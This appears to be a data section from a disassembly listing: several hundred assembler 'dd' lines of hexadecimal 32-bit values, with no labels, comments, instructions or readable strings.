dd 4B9F6C3Ch, 0A5BCA2E5h, 0DDF98EAh, 0DEBD3F5Ch, 116F360Ch
dd 0EB5848C3h, 0D1147101h, 30DFF765h, 40051B3Ch, 0D7E9B87Fh
dd 826F72B1h, 0D7425A87h, 5D24FDDCh, 69DEEF1Dh, 0B4010A93h
dd 38D66B2Fh, 5F4B8204h, 2B7F0B2Bh, 9B9F300h, 0FE63389h
dd 51BF8084h, 30C30083h, 894B1E42h, 0EAA86E96h, 37E94340h
dd 692BAD75h, 2638A444h, 39AF5F2Fh, 0B383547Ah, 0CBE983CAh
dd 0E2BE8571h, 9AEBB5ABh, 9CCC1A7Bh, 0E8C17D98h, 4DE6D40h
dd 0D51D3BEDh, 0B095C85h, 4A04D108h, 0EC503828h, 959027Bh
dd 5D02978h, 2545078Ah, 0FF494B71h, 6C7EDB83h, 1FD22E2h
dd 15C5401Dh, 67A10C84h, 0CE0FC3F9h, 3E9E50D9h, 5B7FC2C0h
dd 35775CBFh, 0DDB3B633h, 5DEB29D0h, 7C905357h, 490F7397h
dd 221C9CDFh, 0E5056ABBh, 386E3428h, 0FD3BA6B8h, 0A009BA40h
dd 7664FF13h, 0C683096Eh, 1EB34960h, 0E015272Dh, 60DBE945h
dd 88C34DF8h, 8C51D2C9h, 0A621FCFCh, 6BFD084Eh, 0B75B0840h
dd 511C791Eh, 2C9EFD88h, 21668E6h, 0FB50CEF0h, 3B758FDDh
dd 93B3103Fh, 0EBAFFA7Ah, 299CF33Fh, 0E9090745h, 0ED52A96Ch
dd 347E2708h, 8EB2C380h, 20E9D4E7h, 0D09802D1h, 0B73B822h
dd 0BB08C6C1h, 9711FA02h, 6398EC4h, 9C30BF34h, 0F6CC8658h
dd 4AE908D0h, 0BBF5007Fh, 0D727B8Eh, 34E22E98h, 5C9B602Fh
dd 0F042824h, 0AC1F9013h, 895EF522h, 0D4CA4FFCh, 46246D10h
dd 93680110h, 0F46FE73Fh, 9FC9B9C5h, 2464AEDh, 0DF962197h
dd 7B7DF13Ah, 9E9F2ACAh, 0E4680598h, 8916B358h, 0A0D4F7h
dd 771F0703h, 4B74E281h, 0C2BEEA60h, 4BF5F901h, 6C8DEFACh
dd 6F4809D2h, 0D15D6DE9h, 0A7E53BC0h, 4D41A39h, 0A4A2DEEFh
dd 4A00B625h, 8103EBC1h, 1F93CB05h, 30C54AC7h, 0DC01460Ah
dd 8DE3339h, 0F94F4068h, 0F7B44E52h, 16533EEEh, 0DCBA82DFh
dd 17C0127Ch, 404B39B9h, 0F9C1F561h, 0DF06E83Eh, 8EDC9A96h
dd 0BED84F01h, 13A96728h, 1444B81Dh, 0ED251F0Fh, 0DB201EC6h
dd 0DC91A2BDh, 0A2ADBD1Bh, 6768BE82h, 808F51DFh, 13E81B4Ch
dd 0D0B5D0F7h, 49714B81h, 5B010788h, 30147384h, 741B723Ah
dd 359A21A6h, 13A9B02Ah, 0BC6FE0D4h, 5207CABBh, 597622h
dd 4102AF4Ah, 6152C109h, 83E4CAE0h, 54E95B48h, 0C1384B3Ch
dd 0A7DAF706h, 226580Bh, 118DFA2h, 25775AD3h, 0AB4142F1h
dd 74FA685Eh, 73D3B651h, 49C49568h, 16EA1054h, 0D7E46068h
dd 31055F41h, 2BB4B989h, 1C275ABh, 0AD1DE649h, 871A8353h
dd 318FD25h, 74014A96h, 1CAE420Bh, 0C9BDE101h, 175BE99Eh
dd 27658E3Eh, 48E998B8h, 7731276Dh, 882A5D2h, 0CE0898DEh
dd 0CBF2207Ch, 0CDEF5ACFh, 68412CA8h, 3D71DECCh, 82167530h
dd 933F8DB0h, 0DBEF52F2h, 0E5680EE1h, 0DBEE1255h, 31EA5F95h
dd 2F7595F2h, 164D938Ah, 9ACF311Ch, 545F08F9h, 685385F4h
dd 8821BB2Ah, 0BF8AA2D1h, 89D57638h, 0C5FFA09Bh, 8B5A13BCh
dd 65ED169Bh, 0C486AC20h, 1A1903Fh, 6730DDC3h, 44CB0154h
dd 0AB0812BEh, 33E98588h, 0D161BC5Ah, 6466E7BAh, 0B5A69FCh
dd 9281C034h, 0E22E1A11h, 4B95D050h, 0E90B58CBh, 0C3736928h
dd 0F7B91B89h, 58BF32CCh, 7CC9A2D5h, 0DBC05201h, 56270923h
dd 4ACC5048h, 29810341h, 0E9B90D08h, 4006B1Fh, 311926B8h
dd 13C2B721h, 0D22DD5D6h, 42779E70h, 0A0FD8F24h, 52025172h
dd 2FDCBF1Ch, 6BBC6700h, 0D23BE906h, 1C2EFBF1h, 0D6D82127h
dd 0A6E9DB09h, 5C66650h, 44A33640h, 0FEE3004Fh, 4777524Eh
dd 9DEA0EC1h, 0CF607920h, 17A19D3Ah, 97316A29h, 0F253D6ACh
dd 0A2E581AFh, 5A10AD51h, 0FCC0CC7h, 710C594Bh, 2261332Eh
dd 0DBF56D13h, 2CBAEDh, 5DAFF05Eh, 0AB017D40h, 0FE4FDA8Bh
dd 6F6C09F9h, 4F0B1EF5h, 837517A7h, 0C8E85A8Bh, 0C44CB753h
dd 4F662027h, 0F7EF0031h, 35EB7324h, 80BDA1FCh, 5558BBFEh
dd 0A40F5E78h, 5648052Eh, 64D6002Bh, 8DE9102Bh, 2BD99D83h
dd 585E92A8h, 0D20580C5h, 0AB361140h, 0FA3013Ch, 7DE90EBAh
dd 0D85103B2h, 4CC612C3h, 1026B47Ah, 0B80BCF90h, 0C5A91E30h
dd 18F0E49Dh, 0F1306D68h, 81803373h, 2BF0BCDh, 104606Ch
dd 2D5D1E77h, 0FD4D1949h, 0C6EFDD41h, 48A27F0Bh, 0E6921C22h
dd 8B42B119h, 0FF54527Fh, 0B2FFFB4h, 49047EF8h, 0FEE41075h
dd 0F6802CCEh, 0B3211621h, 4CF733A2h, 0B8A24559h, 935F5994h
dd 9C7CD325h, 0DFD756C2h, 4204885Ah, 0FA29403Eh, 0AFD7C4ACh
dd 2225040h, 0E19615E9h, 0D61E5FC2h, 1F4D681Ch, 58305725h
dd 0DD5FE2E9h, 951939B3h, 704E10CEh, 31160EA4h, 82EEA011h
dd 0F1A72DEAh, 7CFD6252h, 0AAB20746h, 0F1565328h, 5E0EDF09h
dd 4BDCD276h, 0ACFC02B9h, 0DCF1D830h, 87E6885h, 82B19532h
dd 98631CFh, 44E1A0F7h, 9D0C1D1Eh, 0BB081F73h, 92400B28h
dd 7110D183h, 0F2B03EA3h, 1723014h, 4A9FA190h, 14E1D778h
dd 0FAFDCE7Bh, 4F1B050Eh, 0FB446826h, 0BB53C730h, 0F70C7D87h
dd 3C65C971h, 5CDC3AC8h, 6F106002h, 69445ECDh, 561AA3BDh
dd 1A75E1F7h, 19672E20h, 0C639502h, 57F0DCB6h, 590794C1h
dd 0E12FE9C3h, 14A22089h, 19D34414h, 0F05F2DF5h, 782A0963h
dd 4E581320h, 0DEB07B27h, 0C2F8E587h, 98758273h, 0B7B3AF46h
dd 851AD438h, 9DAD66B5h, 109AE7Eh, 52E07EE8h, 40B7A652h
dd 82641D0Bh, 6B313A80h, 5CB529D7h, 0D9EA13B8h, 0DC100796h
dd 87625DC6h, 947DF71h, 309C676h, 0B3DF246h, 2FD00EA8h
dd 0B6800072h, 0BF051DEEh, 0F0897871h, 33F09CC4h, 24B03E68h
dd 0E6E55825h, 83BE5680h, 0ED063135h, 82CA01FBh, 58078B61h
dd 5E06422Dh, 0C5C065C3h, 66D0C2Eh, 0FB00040Eh, 4CD4B224h
dd 5B27E6D8h, 8102A578h, 874E41F3h, 0A380C583h, 0DFBD3C80h
dd 22FFCAh, 270956BEh, 0E978B2FEh, 0D2124960h, 0D2501610h
dd 0BD6EAB6h, 54910600h, 153C47h, 5540B7B9h, 3BE18152h
dd 0FCC198Bh, 0AAC98612h, 601058A7h, 22907069h, 1864C325h
dd 2D334A0Dh, 685477B3h, 38CEFD6Bh, 9B611C24h, 34D820CFh
dd 0BF5B2CE3h, 63047258h, 0A0E966F6h, 0A65212ABh, 36E9C426h
dd 0BE0812AFh, 851C28CBh, 0F9272135h, 80C549C7h, 3094BB8Bh
dd 0B930FD29h, 0BF5C97D1h, 5EE9C960h, 0B4D6BDA4h, 65226886h
dd 0B267F24Bh, 5E259775h, 4FCEF840h, 0D25F149Ah, 0C378FE7Bh
dd 448E30FBh, 9CFB0AB4h, 0E91A2D8Ah, 948CCB7Fh, 0F6098104h
dd 0F8292FCCh, 0BAC03EA2h, 0F589FC82h, 0D761455Eh, 4F32B58h
dd 0B8AE4A79h, 32A35F1Eh
dd 478D13Eh, 537EAAC1h, 0ED89BA67h, 0EF5AED38h, 79C2AC74h
dd 992FDE64h, 0C2290635h, 0E669AF61h, 2AC7A70Fh, 0B1DBF7D3h
dd 0A03F83CFh, 9503B197h, 0F607E9C0h, 1DC9E9D1h, 5BBC7CFh
dd 20EFB47Ch, 532539Ch, 7041145h, 447ACDF4h, 0FC73EA9Dh
dd 0D64A412Dh, 6E268ABFh, 0A89888DAh, 3296B800h, 24C1055Bh
dd 42F904E8h, 704817E9h, 0C301315Ah, 80C9B551h, 0B22ECEE5h
dd 7D4D1359h, 4285C6EDh, 3C37AADEh, 30BC910Ah, 146825C1h
dd 6787DD03h, 576EF869h, 0F9A4A4FEh, 0F9C203E2h, 5B259067h
dd 61E288C1h, 0B03885E3h, 178128C4h, 368022F6h, 3FC71A35h
dd 0C12D01A1h, 5D2A1A58h, 419AA8DCh, 1A207F41h, 0F277515Eh
dd 0E6365897h, 0FE1497EAh, 2417CFDh, 510F0D7Ch, 68CCDF5Fh
dd 76C0F05Fh, 2C73BAB8h, 1310187Ch, 2D16DCF5h, 264BD43Ch
dd 0C1130B46h, 3CBA1460h, 36AC0177h, 0E4A2F4BBh, 1FA738CDh
dd 142C1EE9h, 0F8897C96h, 1287447Fh, 0D653F8C5h, 5C54F804h
dd 76266880h, 17104819h, 9752506h, 0BABA0C4Dh, 0C6540CD7h
dd 5FFA2F8Eh, 96FF7FABh, 60A13446h, 21D2C26Fh, 0E95828D4h
dd 229BC4Ch, 3343C9BAh, 55B27760h, 34D84F81h, 0CFB192h
dd 45E28002h, 0BC908851h, 8C484B2Eh, 50D4689Fh, 4B672029h
dd 0E153EC88h, 282EA022h, 0AAB2B830h, 1EBA660Eh, 0C20187E2h
dd 3EA588C3h, 5BBC5980h, 0A3813A13h, 79FF93C2h, 0ADFD6F45h
dd 0A09011CAh, 0CB9F2FDCh, 63BB92FDh, 311013C0h, 0B4C308D7h
dd 800BF28h, 5BCBB52Dh, 90C52953h, 0F50B9F2Ah, 97F1ECF5h
dd 42F69AFFh, 0BF62C959h, 1C605BD8h, 0CF8165h, 0D178D915h
dd 0D74FF7E7h, 5D79CCA4h, 0F1D834Ch, 5F419639h, 1EDA79EAh
dd 0D9F74529h, 0B03C8456h, 0A13EBE25h, 9A68241Dh, 5C4D8F40h
dd 30B9FE2h, 51408BDDh, 0D95612E2h, 0B9CCEF0Dh, 7C59256Ch
dd 9BB18B33h, 81346C5Dh, 0EE05A19Fh, 7E166E41h, 8CF44BABh
dd 5F4BBF6Ah, 2758EFE3h, 0F9250CA2h, 12160C7Bh, 177F0B30h
dd 0E11EBB23h, 48F56595h, 12E73E63h, 91B242A2h, 0AEF0BB17h
dd 0B1F3EC27h, 0C61F3F9Ch, 6004C8A5h, 14A6FF5Bh, 0ABB3AB92h
dd 3BD9E9C2h, 60D52169h, 3C12DDC2h, 0A4CC58B1h, 2E313868h
dd 556DFA4Ah, 99137D21h, 0D8ECB159h, 8698BC6Ah, 4F421801h
dd 0EFBB0031h, 7C41405Ch, 1DD893FCh, 2F54E180h, 67547209h
dd 303C6559h, 9ACB311Ch, 58F408D9h, 0C74D7F3Ch, 0BE560168h
dd 30A87FB6h, 0CC85E53Fh, 0C270A1FAh, 1299F38Ah, 0FBDD5773h
dd 0E90CC43Ah, 50ED857Dh, 9A7B804h, 3DA16BF9h, 1CFABE30h
dd 0AC54423Bh, 75D10216h, 0E05F4430h, 16CA870Ah, 20E547E9h
dd 96F08C86h, 0D529EC2Ch, 6284B296h, 0B1FCC2EFh, 93AB0404h
dd 6069203h, 7A72E9DDh, 3982BF45h, 0F4C1016Eh, 0BBE5EFF1h
dd 10866AB3h, 0E5951E5Eh, 0E3A5B94Ah, 9363ACD9h, 553D8A75h
dd 745BF269h, 740BBF6Ch, 5D513440h, 61EB1A20h, 40F12B76h
dd 0C364A08Dh, 0D8F77707h, 3C806605h, 4FCE68D3h, 45E63034h
dd 0F2D8A23h, 9D7E56E9h, 0E31C4735h, 0D4E5A43Ch, 0BBBF169Eh
dd 48EC15D8h, 6AD0EE94h, 4035AE4Eh, 173647E0h, 0A8418275h
dd 1CBC05FAh, 3880770Dh, 0F2B76CC5h, 171BB2D9h, 0C7E6E942h
dd 0E0D89DA8h, 9BA8F40Ah, 20E7CA01h, 32BA3673h, 28270401h
dd 15A268C8h, 0AC5E8D6Ah, 0AA0B5918h, 14655F67h, 7CCB539Fh
dd 0A42C9031h, 8522D61h, 0BE8488FEh, 24826A54h, 945275C1h
dd 68625F2Dh, 623CE854h, 796FB483h, 1959307Dh, 40339CB4h
dd 299DE6BBh, 359D824Bh, 4CC97A82h, 49406EBCh, 0B81B40E3h
dd 0F586011Eh, 91C081Ah, 8C750214h, 8C0EFEAFh, 0F6C7AB1Ah
dd 9E34DE0Bh, 649003Dh, 0BD8F68A4h, 84249BC0h, 124CBD80h
dd 0B16F780Bh, 0AF0A2F17h, 0E9090BC3h, 60275032h, 520F7658h
dd 0CC156B0h, 21CC35D2h, 9A5CAC42h, 3A2BFFFFh, 0D0250BDFh
dd 0A7802737h, 864FF848h, 0CA2A357Ah, 0E2049F6Eh, 506D6056h
dd 4B79A9ABh, 5A689302h, 0F182467Fh, 5D06926Eh, 5B3AE2D5h
dd 998425C1h, 7D78B8E2h, 0F07DF370h, 0C7F83EE9h, 1018ACB4h
dd 0BE5B6313h, 2038A443h, 7DF9C7F4h, 4C279D2h, 7F0986E9h
dd 4A20AE1Eh, 0D9012C9Dh, 0EFF12535h, 0A5F31B09h, 0CBFE8955h
dd 35FA5BF6h, 0D8560546h, 7B2DCA1Ch, 0D4A5F527h, 970D5015h
dd 0B4C4F782h, 2C8C7228h, 0CE21600Eh, 5AA97432h, 892419B1h
dd 4ACCFC2Ah, 305CC6FEh, 8E796C9Dh, 92E92D54h, 0E658Bh
dd 0A72A6BE6h, 7357C305h, 0C5BAFD11h, 32888ADh, 51CE7FCh
dd 5580437Dh, 0D9098BBDh, 60E89D4Dh, 4826FABh, 9AC85BAEh
dd 0C27EFA40h, 2BD16811h, 4E009CF3h, 0B90B386Fh, 5A3DE04Dh
dd 928BEC1Eh, 0C00BB3EBh, 0E957E189h, 0F36C4A06h, 0DF453826h
dd 0E9C577A3h, 134F8D6h, 541D50BBh, 0E56E4320h, 0E200CF47h
dd 4C60C3F3h, 31DF2933h, 833D69E9h, 4797CE8h, 10B37DBFh
dd 20287780h, 308DB05Fh, 521202EAh, 5B4D5942h, 0A2C21C38h
dd 0E9712601h, 7CAFB543h, 93E934FEh, 0C6D4A2C9h, 0FD682FF3h
dd 0BAF0B1E6h, 26C61712h, 81923DACh, 0C359DCCEh, 66B6AE85h
dd 8FABA892h, 5B30B0B8h, 0B0685E49h, 3A917554h, 92DE240h
dd 2F7C5580h, 15053485h, 0E9852807h, 137E947Fh, 74640480h
dd 84AE13E4h, 4EF1AB47h, 825F0CA5h, 0D53C8B5Dh, 89A59CE7h
dd 0F20904CDh, 55D30E80h, 560B833h, 0F8322DCFh, 6249C154h
dd 5D077B0Bh, 5F095399h, 0AC2C61C5h, 0D3DE04E9h, 38CDFE06h
dd 0C16FAF41h, 6530C897h, 0EB58F545h, 8A2C1A1Dh, 61A0F2D7h
dd 0C0B7250Fh, 0AA541C09h, 28493600h, 13CEBE27h, 0ABD8D7B6h
dd 0FED96B0h, 3DF6032h, 8055F529h, 7FB42DDAh, 7C6727E9h
dd 81252767h, 0C230A1F9h, 150728E2h, 6809B95Fh, 25B4BDEh
dd 0C2CD5C49h, 1A775EF5h, 0C976DEA5h, 5100E8F4h, 1CBE6856h
dd 5E190210h, 0EEF9E952h, 17A9457Fh, 5A4EB2BCh, 0ED7A0F2h
dd 0B85F1E1h, 7A5AAE3Ah, 0E90A02FEh, 9DB8D0C6h, 74C9FCFEh
dd 147D27FDh, 0A66B32D5h, 73FD5D60h, 8AC00C21h, 82A2CDE9h
dd 0F639EB77h, 3E997074h, 0E3B829C7h, 17FA3B8Bh, 31206AF0h
dd 0B8AC4C9Fh, 9C57AF2Dh, 0CE8000A3h, 0B45066DBh, 0E65C3003h
dd 0C63F7BFDh, 0F4F62555h, 1AFC2FE2h, 6968893Eh, 97A00418h
dd 1B05F5B9h, 0ECCEBB9Bh, 0D1257E6Ah, 88D4F107h, 350758F3h
dd 6A5727EBh, 0BD633350h, 0CD052623h, 2D4B006Dh, 941A68FBh
dd 0BFC014Ch, 31B395E9h, 4E9F3CD3h, 0BF16E0D5h, 71285C5h
dd 2BA6E5AAh, 0E6F22E3Dh, 9954206Eh, 0F03ACAA0h, 2D98F2Dh
dd 0DF6C29A4h, 414A6B79h, 0FAB95178h, 6C910138h, 6EC7D8BEh
dd 0E1C57B93h, 2DBF4A57h, 0CFF222F5h, 46664968h, 65CD099Bh
dd 945B5A19h, 28DD5908h, 9552ECDFh, 3E51FA5Ch, 1DE8B555h
dd 3BA5A78h, 20FDB647h, 0C3805AC8h, 0D92DBC76h, 0F531DA5Bh
dd 5BFD103Eh, 43B70892h, 38EF8100h, 9590AE60h, 0C15B325Dh
dd 7964ED21h, 0E94441F8h, 5E37242Fh, 0CD54548h, 0D0572378h
dd 31CE0EF6h, 6C7AFEEBh, 2CE87C86h, 0DD5E5576h, 0EC80B1C0h
dd 0F5E6E060h, 0B88DE8D2h, 4B510076h, 1F29254Ch, 0B7E4312Dh
dd 7BC02E1Dh, 0B63577C0h, 592AE90Ah, 2C017E98h, 318BAEB5h
dd 0FBCA45CBh, 0A2D846F2h, 0BD3EF2C1h, 0BEB3AD6h, 8037CF75h
dd 5354AE11h, 78F2B72Dh, 1C400883h, 0EA30E914h, 60B972C8h
dd 6A7A3D22h, 4068A912h
dd 52F8E333h, 42C15515h, 2364F040h, 8B03AE2Bh, 0B07A5AC2h
dd 9C35E945h, 3A5E25EAh, 0EC2FCB51h, 4DB9A5B3h, 2C23A84h
dd 0C6202D66h, 82AEB07Bh, 775C57CDh, 82CED970h, 8011AEFDh
dd 9E02F119h, 4EE89031h, 0E11DEC89h, 66016008h, 9382DC53h
dd 5AD565C4h, 0A05DE9AFh, 0B5559468h, 7489ED53h, 76E4FFA6h
dd 1E5A8820h, 0D7285135h, 8F40FF7Eh, 7329149Eh, 2EA026E9h
dd 257DCBCAh, 0AD0C58E1h, 9DF466EBh, 0F5259B5Ch, 0F329B5CFh
dd 9936E904h, 13CBB900h, 2DF44309h, 5B001BB4h, 68514D04h
dd 0E3565FEBh, 972112E4h, 0AB92BE5Dh, 6DFBB1EAh, 3B3488EFh
dd 0AC5F9E38h, 77CCD906h, 0D213F27Dh, 810E476h, 12CDCAD4h
dd 1B5FDEB5h, 2D5E214h, 29E133C2h, 658D943h, 0DF7DFAE9h
dd 9793F302h, 0E1895E83h, 0A62566F2h, 4473276Ah, 8C2DC2FAh
dd 50EB8001h, 9A9C5DDEh, 0D265025Fh, 999D21EBh, 9317389Dh
dd 0D0CB85D2h, 27859EE1h, 0B1954E57h, 9F1309EBh, 0B20980DAh
dd 7D0C5A2Eh, 8832CF0h, 9D21C04h, 80EA6B53h, 0E42BE1E3h
dd 0BF050E0Eh, 2C482939h, 97020610h, 92A68D7Ch, 9A600102h
dd 0A1D7CE2h, 0BC57AF10h, 0C9463C17h, 0E2DEE1EDh, 0CA341BDDh
dd 25377E41h, 0FFE9F5F6h, 2D16FF47h, 0E91244EAh, 89D1FCE2h
dd 1708502h, 0C1586AF8h, 0D6B57B20h, 819DBC0Dh, 1F31CFE2h
dd 0B7E22DAh, 89C85218h, 56E41D6Dh, 39BEC2BAh, 23642994h
dd 0C92C4E74h, 0A9127041h, 6602C0E2h, 0D6B15152h, 881CF760h
dd 5AC3CA56h, 0E0CD4AA0h, 0ED7BBDE8h, 5D6C2289h, 0EC96255Bh
dd 0F2048BC4h, 68304813h, 66B77B96h, 0A802302Dh, 202BC3FFh
dd 935D763Dh, 7460BAC2h, 127936C4h, 38CE3104h, 3948F6D3h
dd 0C4C25B97h, 83BE5C8Fh, 2124087Dh, 7EB26ED9h, 4F71AD8Dh
dd 4A75B9DCh, 0F7422951h, 33CE09DDh, 94F0CCD2h, 7AEB6082h
dd 680E001Dh, 25BC981h, 8C98438Bh, 5517A70Fh, 0E2F18F74h
dd 5DD0FA89h, 6A540B58h, 0C5E878Bh, 0E173D9E3h, 786F5311h
dd 0E1D69878h, 823BF520h, 130002EEh, 907FE0D0h, 4CA60CFAh
dd 7B0C2B9Dh, 474EDAE2h, 8061AB5h, 5914820Ch, 0EA5F447Eh
dd 0EA5A578Bh, 54264121h, 7EEC000h, 0AE4BD0F0h, 522292BAh
dd 0B0F4D27Dh, 123A0BF4h, 467775F9h, 2BC58029h, 78A02D41h
dd 0B07F35E0h, 73CA8080h, 1AEA0B76h, 0A25FD328h, 5D86836Ch
dd 0BD2D519Ch, 0EFC0E402h, 7534EA10h, 0A7626A3Dh, 0FF162BE5h
dd 0A4528105h, 0E5B6FFF7h, 5E25B14h, 5E3B09BEh, 0AACDABh
dd 23292E2h, 68560605h, 3E4B3442h, 7F678457h, 0AB88612h
dd 0A4B48A4Ah, 0BF7070EBh, 0D949F471h, 306248BAh, 3F64BE18h
dd 950A155Eh, 5A1708EDh, 9AB97905h, 6F0D7B98h, 0C3CC4798h
dd 50F84A83h, 0BFFC864Fh, 5A3B68E0h, 3D19F39Dh, 17163010h
dd 2A1A3E9h, 0D39EF23Eh, 40C55504h, 0BD079A10h, 0F71DCF06h
dd 569BD2CAh, 1F399357h, 52700E20h, 0A800A1Eh, 0FBC70106h
dd 2E396A73h, 80FA1D4h, 0E1A8ECE9h, 24F08134h, 2AB431D4h
dd 6C687F5Ah, 82820571h, 3A6E4ACh, 6BEFF028h, 0C601C772h
dd 0AFC4A231h, 7672F189h, 626CAE4Bh, 80374BE9h, 0C0D9F6F1h
dd 8005E101h, 0CC289CC1h, 82E8B36h, 771B0804h, 2D35BD01h
dd 272B09C9h, 8509FBA4h, 0FC68F2A1h, 0C1A0D211h, 0FE3071B7h
dd 0F6245BF8h, 303AED6h, 8621C680h, 954FF2C6h, 777F57C6h
dd 0C8B5449Ah, 30172270h, 58D9284Eh, 6E5F1EE9h, 170CB0E4h
dd 0AF038532h, 652FA744h, 359402EDh, 0B20F1A04h, 412EFD15h
dd 0AB442B08h, 6CB89C45h, 0C03EB080h, 0E8E608E0h, 5CF1025Ah
dd 8C2F8CF5h, 690B4834h, 0FC5E5CD7h, 2B638107h, 0FC521DE8h
dd 52B401B9h, 82203660h, 41F9902Ah, 0DEA63BC4h, 28A49610h
dd 0C4B8B86h, 68575601h, 4BFC70D6h, 0A9709F5Fh, 12307227h
dd 0FA75725Ah, 647EB7EBh, 0F5210165h, 9D7BD555h, 0B705EC58h
dd 5B82A0BDh, 58BB7F3Ah, 2D7EA231h, 1C7D7A8Eh, 8521277Ch
dd 78F02D46h, 0C456719Dh, 0CBC18068h, 4003586Fh, 9A357705h
dd 27EE207Bh, 0F7208198h, 0E70439B4h, 0E8803232h, 3C63034Ah
dd 685285C1h, 426F0428h, 0A5AB19BBh, 3C03EB2h, 97E32864h
dd 0F93C84F7h, 687620AEh, 95B47CB6h, 6C05A948h, 0A282DB38h
dd 0E0A4414Fh, 0ED82D00h, 857AB2Dh, 893A077Fh, 10C46486h
dd 90545152h, 0B8694BC7h, 64EE5BA8h, 8DB213ADh, 0E902E6CAh
dd 0ACE269D4h, 9D4973D8h, 729D0BC4h, 0CC6EA028h, 4976B7AFh
dd 9502F8A4h, 57471D2Fh, 801266Ah, 358D48E9h, 0DEB57F0Eh
dd 1DCFA8E8h, 3D89F52Fh, 0F2E4EB16h, 76252FC5h, 3EE06908h
dd 0E3EF135Eh, 5B58BFFAh, 21305797h, 0E9D7509Ah, 0C411FCD0h
dd 51B02786h, 0FE958D58h, 5C7552D2h, 192C056Ah, 13B40443h
dd 0C4B9FC79h, 0B7169817h, 103E4C72h, 0E85B88FAh, 0D0680B46h
dd 0C98D3047h, 0AE415E42h, 0A1C20C35h, 0F71BC826h, 0A0C1B0D5h
dd 3047F585h, 1907F4Ch, 2079FE22h, 0E9EFD11Fh, 0C5F4B757h
dd 82991669h, 6347FF81h, 7F0B6D62h, 0ED0406CCh, 312744EAh
dd 2DAC60EBh, 30507354h, 0F4EA5A6h, 64AF9D98h, 0EE2D1220h
dd 662945B0h, 805918D8h, 45B27395h, 0CA2AE5Ah, 5ADA6B1h
dd 8A7CA004h, 0A7128EEh, 54A964F1h, 0FD515A2Eh, 749BE08Bh
dd 4C094F34h, 0BE040758h, 851981C9h, 3487BD80h, 2905244Eh
dd 9108A0BAh, 0FDC00DA1h, 2776427Fh, 0F65CEB58h, 0FDDA3182h
dd 0E13B6A04h, 0FED9D3D1h, 0A16A689h, 7F8A0818h, 0AE428276h
dd 0C7C109B3h, 1EBE3326h, 9A8C5E5Dh, 9683D92Dh, 1C752F19h
dd 0E60B7ECh, 0C7AA1B0Ah, 0D6D4E1ABh, 1D9CDD69h, 6840B690h
dd 0D0CA02FEh, 35B151EAh, 9D1294C1h, 0C98F2806h, 0E81C36F2h
dd 0B158CA1Bh, 5B026E3Ah, 19AD1CDFh, 0B4E68BE9h, 4878D856h
dd 7401A695h, 252B0D7h, 0D952B9C3h, 325F31D3h, 0F2F8DD7Ch
dd 0A0627620h, 8053659Ah, 0AF1C255Eh, 9A7D387Fh, 5F16CF8Dh
dd 59954F58h, 0B6890B2Bh, 4EA9F0A3h, 8E560A43h, 0DCFEF64Fh
dd 4E5F8E94h, 0EA8008EDh, 0AE1C40DBh, 6B6BA79Dh, 32262099h
dd 805FA24Bh, 0CD307B65h, 60110C03h, 0F8775FC5h, 19F68007h
dd 0CEC95171h, 2FA7920Ch, 58E6C113h, 309A611Dh, 4D2827B6h
dd 0EE05D810h, 60356184h, 7C81A3A8h, 2E0DF5D9h, 0E9F420BFh
dd 2B9A6632h, 0F1EE81EDh, 50415C38h, 0E1A6BC2Ah, 413FBEE9h
dd 2A16CBCDh, 0E37482B2h, 41A61486h, 0D2D37Dh, 185CBA66h
dd 31A6F8B7h, 140B0B63h, 0D5CA0161h, 0F109E9FCh, 885C3084h
dd 1AADE2CFh, 574980ABh, 29A1D963h, 51873BC3h, 1F441076h
dd 6E5312EFh, 0C5113705h, 5DCFC220h, 1F9CC57Fh, 0E7125468h
dd 0E40555CFh, 703B99Bh, 4CF0083Bh, 20188CB7h, 43120AB3h
dd 0FA4102Bh, 27494990h, 730003D1h, 1CBF7B7h, 0C2ADA1F2h
dd 256F9D30h, 43706A70h, 2674CF09h, 0A068D661h, 5ADB9E08h
dd 24457961h, 0DFBE555Ch, 18DBE8EEh, 0EA5B0C81h, 5A1D4160h
dd 953C7E68h, 39DF2B92h, 8D2E56B6h, 55A480A6h, 81275747h
dd 105F28E1h, 0D1F731FCh, 0E93C9810h, 0F1EE8178h, 19B21A53h
dd 14C6EC3Ah, 1BD15DE8h, 2739A15h, 9BA9B8FCh, 0FD48249h
dd 0C11F511Fh, 52E9CB82h, 804ED77Dh, 0AFD02EF5h, 0BF56E6E9h
dd 6E867AE8h, 0F64C139Fh, 0FAEAB5C1h, 0B7CB9E7Dh, 0FFCB71D6h
dd 4CC2EA48h, 439F8082h, 0AAB97D21h, 0A494D9D7h, 8DE712B7h
dd 0D0F6D07Ah, 0D0986CFCh
dd 58C53013h, 0BB5A25AAh, 0D530971Ah, 0F28105C0h, 5733DB0Bh
dd 0BD1F05Dh, 0B361708h, 6504EFDCh, 0EBC1539Eh, 91818F4Ch
dd 0DA2F3AC3h, 0A554AC1Eh, 16584267h, 1C8A445Eh, 0C1AFE899h
dd 6A1F6853h, 40A1CA34h, 79D5A36h, 4024292Ch, 0B4E41A88h
dd 0BF7E2DA1h, 0B816027Bh, 3A8C0D2Ah, 0DC57D4E1h, 72916E06h
dd 0F485C602h, 0E19F60D3h, 0FE5F827Fh, 0F8E86521h, 8EEA979Eh
dd 90512DD0h, 81503E68h, 4F5C605Eh, 0D7951170h, 5C4E5A9Ch
dd 87A91044h, 0D81A7B1Eh, 0E55F0C4Bh, 6F0819EBh, 5084C2B9h
dd 1E5BE0D1h, 268C964Bh, 77013ABh, 852CAE27h, 4C2904EBh
dd 0A053F455h, 67128C4Bh, 0AC0A0AB9h, 0A42407F1h, 0F34E2E11h
dd 93E340FBh, 0FDF316D6h, 0A7BF247Bh, 58C68B1Bh, 0E982EB77h
dd 0A82A9896h, 97EFB73Ah, 9E539E4h, 23C9225Ch, 40FB6685h
dd 779EDEEh, 0CC14801h, 57C540B2h, 0F140200h, 2063740h
dd 0E986D3B5h, 81DA7519h, 0C318B40Fh, 0BDF76527h, 178DB2BFh
dd 0E4805785h, 9F137268h, 0AAF19D18h, 3FEA7DC0h, 0C7113742h
dd 6B695F0Ch, 6D90E15Dh, 2606175h, 0ABC35807h, 317BAF0h
dd 915C9B24h, 66376801h, 0CD2F6BA4h, 25D87EE5h, 2489B529h
dd 1C2DC845h, 0CD025FBFh, 0C0AC6AD1h, 79D44C4h, 0CE26F131h
dd 7FDAB008h, 0D48082ADh, 685946C2h, 8D4A8BFh, 0F71E603Dh
dd 0FF37F178h, 0FBF5060h, 16F3500Bh, 4212C7C0h, 549D0E6Dh
dd 4016B014h, 384F86FBh, 2B3A04ABh, 7AF3E563h, 0FA52F063h
